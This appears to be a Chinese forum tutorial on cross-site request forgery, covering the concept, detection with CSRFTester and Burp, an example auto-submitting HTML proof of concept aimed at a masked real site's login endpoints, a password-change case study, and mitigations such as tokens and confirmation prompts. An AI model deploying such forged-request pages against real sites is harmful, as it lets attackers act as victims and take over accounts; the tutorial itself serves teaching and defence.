返回 登录
0

WEB安全漏洞之CSRF 附案例

小编写本文章,只是希望能跟大牛交流交流,让更多人了解它….如有错误,请你雅正!

目录

· 第一节 初识CSRF

· 第二节 检测CSRF漏洞

· 第三节 实战案例及修复方案

· 第四节 严正声明

正文

第一节 初识CSRF

1.1、什么是CSRF

CSRF(Cross-site request forgery跨站请求伪造,也被称为”One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且攻击方式几乎相左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比更具危险性
通俗的讲:攻击者盗用了你的身份,以你的名义进行一些非法操作,CSRF可以让你的账号发送邮件等操作,从而获取你的相关信息

1.2、CSRF攻击原理
一个图解释了一切

例子:当你登录了i春秋的网站,正在进行转账泉币的业务,这时,攻击者像你发了一个url,然而,这个url是攻击者精心构造的转账业务代码,而且是同一个网站,你可能认为是安全的,然后点击了它,but,你的泉币可能不翼而飞 (PS:咱i春秋木有转账功能)
第二节检测CSRF漏洞
检测它的方法有多种,笔者经常用的是全自动的检测方法和半自动的,当然也有手工的

1.1、全自动化检测

CSRF-Scanner ,这块工具,缺点真心大,就是误报率太高了,几条中半天挑不出一条,so,小编就不详细的介绍它了

1.2、半自动化检测

CSRFTester

1.安装CSRFTester
2. 设置浏览器代理(360浏览器为例)
3. 用户登录
单击“Start Recording”,开启CSRFTester的检测工作,这样以后我们所有访问的URL以及参数都会被记录下来。
4. 通过CSRFTester抓取和伪造请求
当你登录一个网站账号时,CSRF Tester会进行抓取
我们抓取了该请求,在Step属性中添加请求,然后将Form Parameter中的eatName改成CSRFTest,然后单击Generate HTML按钮来产生CSRF攻击脚本。

  1. 分析CSRF攻击脚本
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body>
<script language="JavaScript">
var pauses = new Array( "406","215","344","390" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 4;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms.submit();

        pausecomp(pauses);
    }
}

</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="https://user.********com:443/login/signin">
<input type="hidden" name="name" value="value"/>
</form>
<form method="GET" name="form1" action="https://user.********.com:443/login/verify_image?d=1470218273;">
<input type="hidden" name="name" value="value"/>
</form>
<form method="POST" name="form2" action="https://user.**********.com:443/login/selectUserEnt">
<input type="hidden" name="username" value="1*********18"/>
<input type="hidden" name="name" value="1********18"/>
</form>
<form method="POST" name="form3" action="https://user.************.com:443/login/signin">
<input type="hidden" name="username" value="1********18"/>
<input type="hidden" name="password" value="**********"/>
<input type="hidden" name="yzm" value=""/>
</form>

</body>
</html>

从这段代码中,阔以看出,这款工具把所有属性生成了隐藏的input标签,然后添加了默认值,当访问这个页面时,JavaScript会自动提交这个表单………………
当然,你也可以使用burp中的scanner进行检测………

在任意http请求中,右键,选择Engagement tools –Generate CSRF POC 即可生成CSRFPOC
第三节 实战案例及修复方案
目标:..edu.com

注册账户,发现修改用户名处无验证,直接改密码
Burp抓包,生成CSRF POC
我们可以修改代码中的数据
当前用户密码151515
之后可以看到……修改成功……
修复方案:
1. 二次确认(如弹窗提示)
2. Token认证

第四节 严正声明

本文讨论的技术仅用于研究学习技术交流,严禁用于非法行为和破坏行为,否则造成的一切法律责任与作者以及本网站无关。
本文原创作者:LoneliNess,转载须注明来自i春秋社区(BBS.ichunqiu.com)

结束语:

相信大家一定收获颇丰,请多多支持i春秋,不忘初心,方得始终!!!

原文链接:http://bbs.ichunqiu.com/thread-9236-1-1.html

评论